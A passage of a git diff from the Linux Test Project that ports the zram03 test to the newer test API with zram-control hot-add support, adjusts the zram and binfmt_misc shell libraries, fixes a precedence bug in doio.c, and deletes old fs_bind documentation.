- * License as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it
- * is free of the rightful claim of any third person regarding
- * infringement or the like.  Any license provided herein, whether
- * implied or otherwise, applies only to this software file.  Patent
- * licenses, if any, provided herein do not apply to combinations of
- * this program with other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
+ * This case check whether data read from zram device is consistent with
+ * thoese are written.
  */
 
 #include <sys/types.h>
@@ -29,62 +18,28 @@
 #include <sys/mman.h>
 #include <errno.h>
 #include <fcntl.h>
-#include <stdio.h>
 #include <string.h>
 #include <unistd.h>
+#include <stdlib.h>
+#include "tst_safe_stdio.h"
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
+#define ZRAM_CONTROL_PATH	"/sys/class/zram-control"
+#define HOT_ADD_PATH		ZRAM_CONTROL_PATH"/hot_add"
+#define HOT_REMOVE_PATH		ZRAM_CONTROL_PATH"/hot_remove"
+#define SIZE			(512 * 1024 * 1024L)
 
-char *TCID = "zram03";
-int TST_TOTAL = 1;
-
-#define PATH_ZRAM	"/sys/block/zram0"
-#define OBSOLETE_ZRAM_FILE	"/sys/block/zram0/num_reads"
-#define PATH_ZRAM_STAT	"/sys/block/zram0/stat"
-#define PATH_ZRAM_MM_STAT	"/sys/block/zram0/mm_stat"
-#define SIZE		(512 * 1024 * 1024L)
-#define DEVICE		"/dev/zram0"
-
-static int modprobe;
-
-static void set_disksize(void);
-static void write_device(void);
-static void verify_device(void);
-static void reset(void);
-static void setup(void);
-static void cleanup(void);
-static void print(char *string);
-static void dump_info(void);
-
-int main(int argc, char *argv[])
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		set_disksize();
-
-		write_device();
-		dump_info();
-		verify_device();
-
-		reset();
-		dump_info();
-	}
-	cleanup();
-	tst_exit();
-}
+static char zram_block_path[100], zram_dev_path[100];
+static int modprobe, dev_num, hot_add_flag;
+static const char *const cmd_rmmod[] = {"rmmod", "zram", NULL};
 
 static void set_disksize(void)
 {
-	tst_resm(TINFO, "create a zram device with %ld bytes in size.", SIZE);
-	SAFE_FILE_PRINTF(cleanup, PATH_ZRAM "/disksize", "%ld", SIZE);
+	char disksize_path[200];
+
+	tst_res(TINFO, "create a zram device with %ld bytes in size", SIZE);
+	sprintf(disksize_path, "%s/disksize", zram_block_path);
+	SAFE_FILE_PRINTF(disksize_path, "%ld", SIZE);
 }
 
 static void write_device(void)
@@ -92,17 +47,16 @@
 	int fd;
 	char *s;
 
-	tst_resm(TINFO, "map this zram device into memory.");
-	fd = SAFE_OPEN(cleanup, DEVICE, O_RDWR);
-	s = SAFE_MMAP(cleanup, NULL, SIZE, PROT_READ | PROT_WRITE,
-		      MAP_SHARED, fd, 0);
+	tst_res(TINFO, "map this zram device into memory");
+	fd = SAFE_OPEN(zram_dev_path, O_RDWR);
+	s = SAFE_MMAP(NULL, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
 
-	tst_resm(TINFO, "write all the memory.");
+	tst_res(TINFO, "write all the memory");
 	memset(s, 'a', SIZE - 1);
 	s[SIZE - 1] = '\0';
 
-	SAFE_MUNMAP(cleanup, s, SIZE);
-	SAFE_CLOSE(cleanup, fd);
+	SAFE_MUNMAP(s, SIZE);
+	SAFE_CLOSE(fd);
 }
 
 static void verify_device(void)
@@ -111,9 +65,9 @@
 	long i = 0, fail = 0;
 	char *s;
 
-	tst_resm(TINFO, "verify contents from device.");
-	fd = SAFE_OPEN(cleanup, DEVICE, O_RDONLY);
-	s = SAFE_MMAP(cleanup, NULL, SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
+	tst_res(TINFO, "verify contents from device");
+	fd = SAFE_OPEN(zram_dev_path, O_RDONLY);
+	s = SAFE_MMAP(NULL, SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
 
 	while (s[i] && i < SIZE - 1) {
 		if (s[i] != 'a')
@@ -121,104 +75,73 @@
 		i++;
 	}
 	if (i != SIZE - 1) {
-		tst_resm(TFAIL, "expect size: %ld, actual size: %ld.",
+		tst_res(TFAIL, "expect size: %ld, actual size: %ld.",
 			 SIZE - 1, i);
 	} else if (s[i] != '\0') {
-		tst_resm(TFAIL, "zram device seems not null terminated");
+		tst_res(TFAIL, "zram device seems not null terminated");
 	} else if (fail) {
-		tst_resm(TFAIL, "%ld failed bytes found.", fail);
+		tst_res(TFAIL, "%ld failed bytes found", fail);
 	} else {
-		tst_resm(TPASS, "data read from zram device is consistent "
-			 "with those are written");
+		tst_res(TPASS, "data read from zram device is consistent with those are written");
 	}
 
-	SAFE_MUNMAP(cleanup, s, SIZE);
-	SAFE_CLOSE(cleanup, fd);
+	SAFE_MUNMAP(s, SIZE);
+	SAFE_CLOSE(fd);
 }
 
 static void reset(void)
 {
-	tst_resm(TINFO, "reset it.");
-	SAFE_FILE_PRINTF(cleanup, PATH_ZRAM "/reset", "1");
-}
+	char reset_path[200];
 
-static void setup(void)
-{
-	int retried = 0;
-
-	tst_require_root();
-
-retry:
-	if (access(PATH_ZRAM, F_OK) == -1) {
-		if (errno == ENOENT) {
-			if (retried) {
-				tst_brkm(TCONF, NULL,
-					 "system has no zram device.");
-			}
-			if (system("modprobe zram") == -1) {
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "system(modprobe zram) failed");
-			}
-			modprobe = 1;
-			retried = 1;
-			goto retry;
-		} else
-			tst_brkm(TBROK | TERRNO, NULL, "access");
-	}
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-	if (modprobe == 1 && system("rmmod zram") == -1)
-		tst_resm(TWARN | TERRNO, "system(rmmod zram) failed");
+	tst_res(TINFO, "Reset zram");
+	sprintf(reset_path, "%s/reset", zram_block_path);
+	SAFE_FILE_PRINTF(reset_path, "1");
 }
 
 static void print(char *string)
 {
 	char filename[BUFSIZ], value[BUFSIZ];
 
-	sprintf(filename, "%s/%s", PATH_ZRAM, string);
-	SAFE_FILE_SCANF(cleanup, filename, "%s", value);
-	tst_resm(TINFO, "%s is %s", filename, value);
+	tst_res(TINFO, "%s",  zram_block_path);
+	sprintf(filename, "%s/%s", zram_block_path, string);
+	SAFE_FILE_SCANF(filename, "%s", value);
+	tst_res(TINFO, "%s is %s", filename, value);
 }
 
 static void print_stat(char *nread, char *nwrite)
 {
 	char nread_val[BUFSIZ], nwrite_val[BUFSIZ];
+	char zram_stat_path[100];
 
-	SAFE_FILE_SCANF(cleanup, PATH_ZRAM_STAT, "%s %*s %*s %*s %s",
-			nread_val, nwrite_val);
-	tst_resm(TINFO, "%s from %s is %s", nread, PATH_ZRAM_STAT,
-		 nread_val);
-	tst_resm(TINFO, "%s from %s is %s", nwrite, PATH_ZRAM_STAT,
-		 nwrite_val);
+	sprintf(zram_stat_path, "/sys/block/zram%d/stat", dev_num);
+	SAFE_FILE_SCANF(zram_stat_path, "%s %*s %*s %*s %s", nread_val, nwrite_val);
+	tst_res(TINFO, "%s from %s is %s", nread, zram_stat_path, nread_val);
+	tst_res(TINFO, "%s from %s is %s", nwrite, zram_stat_path, nwrite_val);
 }
 
 static void print_mm_stat(char *orig, char *compr, char *mem, char *zero)
 {
 	char orig_val[BUFSIZ], compr_val[BUFSIZ];
 	char mem_val[BUFSIZ], zero_val[BUFSIZ];
+	char zram_mm_stat_path[100];
 
-	SAFE_FILE_SCANF(cleanup, PATH_ZRAM_MM_STAT, "%s %s %s %*s %*s %s",
+	sprintf(zram_mm_stat_path, "/sys/block/zram%d/mm_stat", dev_num);
+	SAFE_FILE_SCANF(zram_mm_stat_path, "%s %s %s %*s %*s %s",
 			orig_val, compr_val, mem_val, zero_val);
-	tst_resm(TINFO, "%s from %s is %s", orig, PATH_ZRAM_MM_STAT,
-		 orig_val);
-	tst_resm(TINFO, "%s from %s is %s", compr, PATH_ZRAM_MM_STAT,
-		compr_val);
-	tst_resm(TINFO, "%s from %s is %s", mem, PATH_ZRAM_MM_STAT,
-		 mem_val);
-	tst_resm(TINFO, "%s from %s is %s", zero, PATH_ZRAM_MM_STAT,
-		 zero_val);
+	tst_res(TINFO, "%s from %s is %s", orig, zram_mm_stat_path, orig_val);
+	tst_res(TINFO, "%s from %s is %s", compr, zram_mm_stat_path, compr_val);
+	tst_res(TINFO, "%s from %s is %s", mem, zram_mm_stat_path, mem_val);
+	tst_res(TINFO, "%s from %s is %s", zero, zram_mm_stat_path, zero_val);
 }
 
 static void dump_info(void)
 {
+	char zram_obsolete_file_path[100];
+
+	sprintf(zram_obsolete_file_path, "/sys/block/zram%d/num_reads", dev_num);
 	print("initstate");
 	print("disksize");
-	if (!access(OBSOLETE_ZRAM_FILE, F_OK)) {
+	if (!access(zram_obsolete_file_path, F_OK)) {
 		print("orig_data_size");
 		print("compr_data_size");
 		print("mem_used_total");
@@ -231,3 +154,97 @@
 		print_stat("num_reads", "num_writes");
 	}
 }
+
+static void run(void)
+{
+	set_disksize();
+
+	write_device();
+	dump_info();
+	verify_device();
+
+	reset();
+	dump_info();
+}
+
+static void setup(void)
+{
+	const char *const cmd_modprobe[] = {"modprobe", "zram", NULL};
+	const char *const cmd_zramctl[] = {"zramctl", "-f", NULL};
+	const char *zramctl_log_path = "zramctl.log";
+	FILE *file;
+	char line[PATH_MAX];
+	int fd;
+
+	/* zram module was built in or loaded on new kernel */
+	if (!access(ZRAM_CONTROL_PATH, F_OK)) {
+		tst_res(TINFO,
+			"zram module already loaded, kernel supports zram-control interface");
+		SAFE_FILE_SCANF(HOT_ADD_PATH, "%d", &dev_num);
+		hot_add_flag =1;
+		goto fill_path;
+	}
+
+	 /* zram module was built in or being used on old kernel */
+	SAFE_CMD(cmd_modprobe, NULL, NULL);
+	file = SAFE_FOPEN("/proc/modules", "r");
+	while (fgets(line, sizeof(line), file)) {
+		if (strstr(line, "zram")) {
+			modprobe = 1;
+			break;
+		}
+	}
+	SAFE_FCLOSE(file);
+	if (access(ZRAM_CONTROL_PATH, F_OK)) {
+		if (modprobe) {
+			tst_res(TINFO,
+				"rmmod zram before test on old kernel without zram-control interface");
+			if (!tst_cmd(cmd_rmmod, NULL, NULL, TST_CMD_PASS_RETVAL)) {
+				SAFE_CMD(cmd_modprobe, NULL, NULL);
+				goto fill_path;
+			}
+		} else {
+			tst_res(TINFO,
+				"zram module is built in old kernel without zram-control interface");
+		}
+
+		modprobe = 0;
+		tst_res(TINFO, "use zramctl -f to find free zram device");
+		fd = SAFE_OPEN(zramctl_log_path, O_CREAT | O_RDWR, 0644);
+		SAFE_CLOSE(fd);
+		if (tst_cmd(cmd_zramctl, zramctl_log_path, NULL, TST_CMD_PASS_RETVAL))
+			tst_brk(TCONF | TERRNO, "zramctl -f failed");
+		else
+			SAFE_FILE_SCANF(zramctl_log_path, "/dev/zram%d", &dev_num);
+	}
+
+fill_path:
+	sprintf(zram_block_path, "/sys/block/zram%d", dev_num);
+	sprintf(zram_dev_path, "/dev/zram%d", dev_num);
+}
+
+static void cleanup(void)
+{
+	if (hot_add_flag)
+		SAFE_FILE_PRINTF(HOT_REMOVE_PATH, "%d", dev_num);
+
+	if (modprobe)
+		SAFE_CMD(cmd_rmmod, NULL, NULL);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.needs_drivers = (const char *const []) {
+		"zram",
+		NULL
+	},
+	.needs_cmds = (const char *[]) {
+		"modprobe",
+		"rmmod",
+		NULL
+	}
+};
diff --git a/testcases/kernel/device-drivers/zram/zram_lib.sh b/testcases/kernel/device-drivers/zram/zram_lib.sh
index fe9c915..e94d7db 100755
--- a/testcases/kernel/device-drivers/zram/zram_lib.sh
+++ b/testcases/kernel/device-drivers/zram/zram_lib.sh
@@ -1,35 +1,46 @@
 #!/bin/sh
 # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) 2019-2021 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2019-2022 Petr Vorel <pvorel@suse.cz>
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
 dev_makeswap=-1
 dev_mounted=-1
+dev_start=0
+dev_end=-1
+module_load=-1
+sys_control=-1
 
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_ROOT=1
-TST_SETUP="zram_load"
-TST_CLEANUP="zram_cleanup"
+TST_SETUP="${TST_SETUP:-zram_load}"
+TST_CLEANUP="${TST_CLEANUP:-zram_cleanup}"
 TST_NEEDS_DRIVERS="zram"
-. tst_test.sh
 
 zram_cleanup()
 {
 	local i
 
-	for i in $(seq 0 $dev_makeswap); do
+	for i in $(seq $dev_start $dev_makeswap); do
 		swapoff /dev/zram$i
 	done
 
-	for i in $(seq 0 $dev_mounted); do
+	for i in $(seq $dev_start $dev_mounted); do
 		umount /dev/zram$i
 	done
 
-	for i in $(seq 0 $(($dev_num - 1))); do
+	for i in $(seq $dev_start $dev_end); do
 		echo 1 > /sys/block/zram${i}/reset
 	done
 
-	rmmod zram > /dev/null 2>&1
+	if [ $sys_control -eq 1 ]; then
+		for i in $(seq $dev_start $dev_end); do
+			echo $i > /sys/class/zram-control/hot_remove
+		done
+	fi
+
+	if [ $module_load -eq 1 ]; then
+		rmmod zram > /dev/null 2>&1
+	fi
 }
 
 zram_load()
@@ -51,16 +62,36 @@
 
 	tst_res TINFO "create '$dev_num' zram device(s)"
 
-	modprobe zram num_devices=$dev_num || \
-		tst_brk TBROK "failed to insert zram module"
+	# zram module loaded, new kernel
+	if [ -d "/sys/class/zram-control" ]; then
+		tst_res TINFO "zram module already loaded, kernel supports zram-control interface"
+		dev_start=$(ls /dev/zram* | wc -w)
+		dev_end=$(($dev_start + $dev_num - 1))
+		sys_control=1
 
-	dev_num_created=$(ls /dev/zram* | wc -w)
+		for i in $(seq  $dev_start $dev_end); do
+			cat /sys/class/zram-control/hot_add > /dev/null
+		done
 
-	if [ "$dev_num_created" -ne "$dev_num" ]; then
-		tst_brk TFAIL "unexpected num of devices: $dev_num_created"
+		tst_res TPASS "all zram devices (/dev/zram$dev_start~$dev_end) successfully created"
+		return
 	fi
 
-	tst_res TPASS "all zram devices successfully created"
+	# detect old kernel or built-in
+	modprobe zram num_devices=$dev_num
+	if [ ! -d "/sys/class/zram-control" ]; then
+		if grep -q '^zram' /proc/modules; then
+			rmmod zram > /dev/null 2>&1 || \
+				tst_brk TCONF "zram module is being used on old kernel without zram-control interface"
+		else
+			tst_brk TCONF "test needs CONFIG_ZRAM=m on old kernel without zram-control interface"
+		fi
+		modprobe zram num_devices=$dev_num
+	fi
+
+	module_load=1
+	dev_end=$(($dev_num - 1))
+	tst_res TPASS "all zram devices (/dev/zram0~$dev_end) successfully created"
 }
 
 zram_max_streams()
@@ -73,7 +104,7 @@
 
 	tst_res TINFO "set max_comp_streams to zram device(s)"
 
-	local i=0
+	local i=$dev_start
 
 	for max_s in $zram_max_streams; do
 		local sys_path="/sys/block/zram${i}/max_comp_streams"
@@ -85,7 +116,7 @@
 			tst_brk TFAIL "can't set max_streams '$max_s', get $max_stream"
 
 		i=$(($i + 1))
-		tst_res TINFO "$sys_path = '$max_streams' ($i/$dev_num)"
+		tst_res TINFO "$sys_path = '$max_streams'"
 	done
 
 	tst_res TPASS "test succeeded"
@@ -100,20 +131,18 @@
 		return
 	fi
 
-	local i=0
+	local i=$dev_start
 
 	tst_res TINFO "test that we can set compression algorithm"
-	local algs="$(sed 's/[][]//g' /sys/block/zram0/comp_algorithm)"
+	local algs="$(sed 's/[][]//g' /sys/block/zram${i}/comp_algorithm)"
 	tst_res TINFO "supported algs: $algs"
 
-	local dev_max=$(($dev_num - 1))
-
-	for i in $(seq 0 $dev_max); do
+	for i in $(seq $dev_start $dev_end); do
 		for alg in $algs; do
 			local sys_path="/sys/block/zram${i}/comp_algorithm"
 			echo "$alg" >  $sys_path || \
 				tst_brk TFAIL "can't set '$alg' to $sys_path"
-			tst_res TINFO "$sys_path = '$alg' ($i/$dev_max)"
+			tst_res TINFO "$sys_path = '$alg'"
 		done
 	done
 
@@ -122,7 +151,7 @@
 
 zram_set_disksizes()
 {
-	local i=0
+	local i=$dev_start
 	local ds
 
 	tst_res TINFO "set disk size to zram device(s)"
@@ -132,7 +161,7 @@
 			tst_brk TFAIL "can't set '$ds' to $sys_path"
 
 		i=$(($i + 1))
-		tst_res TINFO "$sys_path = '$ds' ($i/$dev_num)"
+		tst_res TINFO "$sys_path = '$ds'"
 	done
 
 	tst_res TPASS "test succeeded"
@@ -147,7 +176,7 @@
 		return
 	fi
 
-	local i=0
+	local i=$dev_start
 	local ds
 
 	tst_res TINFO "set memory limit to zram device(s)"
@@ -158,8 +187,10 @@
 			tst_brk TFAIL "can't set '$ds' to $sys_path"
 
 		i=$(($i + 1))
-		tst_res TINFO "$sys_path = '$ds' ($i/$dev_num)"
+		tst_res TINFO "$sys_path = '$ds'"
 	done
 
 	tst_res TPASS "test succeeded"
 }
+
+. tst_test.sh
diff --git a/testcases/kernel/fs/Makefile b/testcases/kernel/fs/Makefile
index caa2c2d..6e9a471 100644
--- a/testcases/kernel/fs/Makefile
+++ b/testcases/kernel/fs/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/fs testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/fs/binfmt_misc/binfmt_misc01.sh b/testcases/kernel/fs/binfmt_misc/binfmt_misc01.sh
index 06106e8..beb8030 100755
--- a/testcases/kernel/fs/binfmt_misc/binfmt_misc01.sh
+++ b/testcases/kernel/fs/binfmt_misc/binfmt_misc01.sh
@@ -25,7 +25,6 @@
 TST_TESTFUNC=do_test
 TST_NEEDS_CMDS="cat"
 
-. binfmt_misc_lib.sh
 
 verify_binfmt_misc()
 {
@@ -61,4 +60,5 @@
 	esac
 }
 
+. binfmt_misc_lib.sh
 tst_run
diff --git a/testcases/kernel/fs/binfmt_misc/binfmt_misc02.sh b/testcases/kernel/fs/binfmt_misc/binfmt_misc02.sh
index 9dbcd68..37c9b9e 100755
--- a/testcases/kernel/fs/binfmt_misc/binfmt_misc02.sh
+++ b/testcases/kernel/fs/binfmt_misc/binfmt_misc02.sh
@@ -19,9 +19,8 @@
 
 TST_CNT=6
 TST_TESTFUNC=do_test
-TST_NEEDS_CMDS="which cat head"
+TST_NEEDS_CMDS="cat head"
 
-. binfmt_misc_lib.sh
 
 recognised_unrecognised()
 {
@@ -88,20 +87,23 @@
 
 do_test()
 {
+	local cat="$(command -v cat)"
+
 	case $1 in
-	1) verify_binfmt_misc ":textension:E::extension::$(which cat):" \
+	1) verify_binfmt_misc ":textension:E::extension::$cat:" \
 			      "$TST_DATAROOT/file.extension" "1";;
-	2) verify_binfmt_misc ":tmagic:M:1:This::$(which cat):" \
+	2) verify_binfmt_misc ":tmagic:M:1:This::$cat:" \
 			      "$TST_DATAROOT/file.magic" "1";;
-	3) verify_binfmt_misc ".textension.E..extension..$(which cat)." \
+	3) verify_binfmt_misc ".textension.E..extension..$cat." \
 			      "$TST_DATAROOT/file.extension" "1";;
-	4) verify_binfmt_misc ",tmagic,M,1,This,,$(which cat)," \
+	4) verify_binfmt_misc ",tmagic,M,1,This,,$cat," \
 			      "$TST_DATAROOT/file.magic" "1";;
-	5) verify_binfmt_misc ":textension:E::ltp::$(which cat):" \
+	5) verify_binfmt_misc ":textension:E::ltp::$cat:" \
 			      "$TST_DATAROOT/file.extension" "0";;
-	6) verify_binfmt_misc ":tmagic:M:0:This::$(which cat):" \
+	6) verify_binfmt_misc ":tmagic:M:0:This::$cat:" \
 			      "$TST_DATAROOT/file.magic" "0";;
 	esac
 }
 
+. binfmt_misc_lib.sh
 tst_run
diff --git a/testcases/kernel/fs/binfmt_misc/binfmt_misc_lib.sh b/testcases/kernel/fs/binfmt_misc/binfmt_misc_lib.sh
index 4976825..7fcf123 100755
--- a/testcases/kernel/fs/binfmt_misc/binfmt_misc_lib.sh
+++ b/testcases/kernel/fs/binfmt_misc/binfmt_misc_lib.sh
@@ -4,15 +4,13 @@
 # Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
 # Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
 
-TST_SETUP=binfmt_misc_setup
-TST_CLEANUP=binfmt_misc_cleanup
+TST_SETUP="${TST_SETUP:-binfmt_misc_setup}"
+TST_CLEANUP="${TST_CLEANUP:-binfmt_misc_cleanup}"
 TST_NEEDS_DRIVERS="binfmt_misc"
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="${TST_NEEDS_CMDS} modprobe mount umount mkdir rm"
 
-. tst_test.sh
-
 rmod_binfmt_misc=0
 umount_binfmt_misc=0
 binfmt_misc_mntpoint="ltp_binfmt_misc"
@@ -72,3 +70,5 @@
 		rmod_binfmt_misc=0
 	fi
 }
+
+. tst_test.sh
diff --git a/testcases/kernel/fs/doio/doio.c b/testcases/kernel/fs/doio/doio.c
index be68999..b170f66 100644
--- a/testcases/kernel/fs/doio/doio.c
+++ b/testcases/kernel/fs/doio/doio.c
@@ -4178,7 +4178,7 @@
 #ifdef _CRAYT3E
 		/* T3E requires memory to be aligned on 0x40 word boundaries */
 		ip = (int)cp;
-		if (ip & 0x3F != 0) {
+		if ((ip & 0x3F) != 0) {
 			doio_fprintf(stderr,
 				     "malloc(%d) = 0x%x(0x%x) not aligned by 0x%x\n",
 				     nbytes, cp, ip, ip & 0x3f);
diff --git a/testcases/kernel/fs/fs-bench/random-access-del-create.c b/testcases/kernel/fs/fs-bench/random-access-del-create.c
index 1f62a76..1878fd7 100644
--- a/testcases/kernel/fs/fs-bench/random-access-del-create.c
+++ b/testcases/kernel/fs/fs-bench/random-access-del-create.c
@@ -11,8 +11,6 @@
 #define FAIL 0
 #define SUCCESS 1
 
-int openlog[2] = { 0, 0 };
-
 #define MAXNUM 0x100000
 
 #define  MAXERROR 1024
diff --git a/testcases/kernel/fs/fs-bench/random-access.c b/testcases/kernel/fs/fs-bench/random-access.c
index cf41d6e..c2f32b8 100644
--- a/testcases/kernel/fs/fs-bench/random-access.c
+++ b/testcases/kernel/fs/fs-bench/random-access.c
@@ -11,7 +11,7 @@
 #define FAIL 0
 #define SUCCESS 1
 
-int openlog[2] = { 0, 0 };
+static int openlog[2] = { 0, 0 };
 
 #define MAXNUM 0x100000
 
diff --git a/testcases/kernel/fs/fs-bench/random-del-create.c b/testcases/kernel/fs/fs-bench/random-del-create.c
index 0a86f97..345031f 100644
--- a/testcases/kernel/fs/fs-bench/random-del-create.c
+++ b/testcases/kernel/fs/fs-bench/random-del-create.c
@@ -11,7 +11,7 @@
 #define FAIL 0
 #define SUCCESS 1
 
-int openlog[2] = { 0, 0 };
+static int openlog[2] = { 0, 0 };
 
 #define MAXNUM 0x100000
 
diff --git a/testcases/kernel/fs/fs_bind/.gitignore b/testcases/kernel/fs/fs_bind/.gitignore
deleted file mode 100644
index c4344da..0000000
--- a/testcases/kernel/fs/fs_bind/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-/bin/nsclone
-/bin/smount
diff --git a/testcases/kernel/fs/fs_bind/BUGS b/testcases/kernel/fs/fs_bind/BUGS
deleted file mode 100644
index 51c1e30..0000000
--- a/testcases/kernel/fs/fs_bind/BUGS
+++ /dev/null
@@ -1,5 +0,0 @@
-Clone Namespace Tests:
-	Currently the cloneNS test do not accurately report a final success or
-	failure value. To check if a test has passed, view the test output and
-	look at each individual check_prop test, and see if there are any
-	failures.
diff --git a/testcases/kernel/fs/fs_bind/CHANGELOG b/testcases/kernel/fs/fs_bind/CHANGELOG
deleted file mode 100644
index d415988..0000000
--- a/testcases/kernel/fs/fs_bind/CHANGELOG
+++ /dev/null
@@ -1,84 +0,0 @@
-Remove this file prior to submission??
-------------------------------------
-
-Changes by Matt Helsley <matthltc@us.ibm.com>, March 12th, 2008:
-
-Many (but not all) of these changes are scripted so that I can modify the tests
-quickly by editting the ltp-convert.sh script. It saves a copy of the test foo
-as foo.orig before making any modifications. Currently there's a patch.txt file
-which shows all the changes the script makes.
-
-Moved readme.README to README
-
-Made tests run in the sandbox directory rather than in testcases/working
-
-Moved scripts and executables from testcases/working to bin
-
-Based all non-local paths out of the "$FS_BIND_ROOT" directory rather than
-having a "$path" variable.
-
-Logged mount lists before and after each test, took a diff, and removed the list
-	if they look the same. Otherwise it keeps the two files, reports the
-	diff, cleans up the mounts with a big hammer, and goes onto the next
-	test.
-
-Logged the sandbox contents before and after, took a diff, and removed the
-	logged contents if they look the same. Otherwise it keeps the
-	lists of files and dirs, reports the problem, and cleans up the
-	sandbox. This happens after the mount cleanups otherwise it could fail.
-
-Factored out the "check" function from most tests (still need to work on "childXX" and "parentXX" scripts) and put it into the setup script.
-
-Factored out the "path" variable and pushd bits into the sharedSubtree script.
-
-Added some traps to the test scripts to detect unexpected errors and log them
-
-Switched to LTP infrastructure for the test scripts. The driver scripts however
-are not switched yet (easy to do). I did this by writing some LTP API shims
-rather than try to toss it into ltp-full-XXXXXX.tgz. Then, once everything
-uses LTP we can integrate it.
-
-Made mkdir logdir quiet (restore it??)
-
-Count total tests in a separate loop so we can detect accidentally skipped tests
-
-"test" is a program -- changed variables named "test" to "t" to avoid potential
-	confusion later
-
-Added quotes around paths, variables, and output that may someday contain
-spaces (hopefully never, but..)
-
-Added logdir/errors redirection of stderr
-
-Removed testcases/<Up> script
-
-Removed .c files in testcases/cloneNS which appeared to be unused
-
-Added Makefiles for .c files and for toplevel dir (for LTP integration)
-
-Converted "mmount" to "smount" to match the .c file.
-
-Fixed up nsclone.c and smount.c to compile and do so without warnings.
-	(at least on gcc 4.2.3-1 debian)
-
-Fixed some bugs in the testcases:
-	A couple copy-paste bugs
-	Bugs with uncloneable mounts being bound but the error wasn't expected.
-	A few path bugs.
-
-Added bits to handle commands that are expected to fail (return non-zero)
-	Fixup the return code so that these are trapped properly
-		expected_to_fail && /bin/false || /bin/true
-	Redirected output
-		mount_expected_to_fail 2> /dev/null || result=$?
-
-Added umounts and comments describing cleanup bits which cleanup in case of
-	unexpected mount --move failure for example
-
-Added a BUGS file
-
-Added a CHANGELOG
-
-Added TODO file(s)
-
-Moved the sharedSubtree test to LTPROOT/testscripts and rewrote it for LTP
diff --git a/testcases/kernel/fs/fs_bind/Makefile b/testcases/kernel/fs/fs_bind/Makefile
index 26d6408..770a5e6 100644
--- a/testcases/kernel/fs/fs_bind/Makefile
+++ b/testcases/kernel/fs/fs_bind/Makefile
@@ -1,33 +1,11 @@
-#
-#    kernel/fs/fs_bind testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir			?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-INSTALL_DIR			:= $(prefix)/testcases/bin/fs_bind
-
-INSTALL_TARGETS			:= */test*
-
-RECURSIVE_TARGETS		:= all install uninstall
+INSTALL_TARGETS			:= fs_bind_lib.sh fs_bind_regression.sh
 
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/kernel/fs/fs_bind/README b/testcases/kernel/fs/fs_bind/README
deleted file mode 100644
index 74b2ee1..0000000
--- a/testcases/kernel/fs/fs_bind/README
+++ /dev/null
@@ -1,165 +0,0 @@
-=================================================================
-Test Suite for Bind Mount and Shared Subtree Features in the VFS:
-=================================================================
-Author: Avantika Mathur
-Date: September 16, 2005
-Last update: March 18th, 2008 (by Matt Helsley)
-
-About:
-------
-These tests exercise the Linux Kernel's bind mount and shared subtree
-capabilities. With it administrators may use clear semantics to manage
-complex mount trees on a system.
-
-Bind mount simply allows administrators to make a directory appear in
-two places at once -- somewhat like hard links for files:
-
-# mkdir mnt mnt2
-# mount --bind mnt mnt2
-# touch mnt/a
-# ls mnt2
-a
-
-Note that bind mounts are not recursive. To get a recursive bind mount
-use --rbind.
-
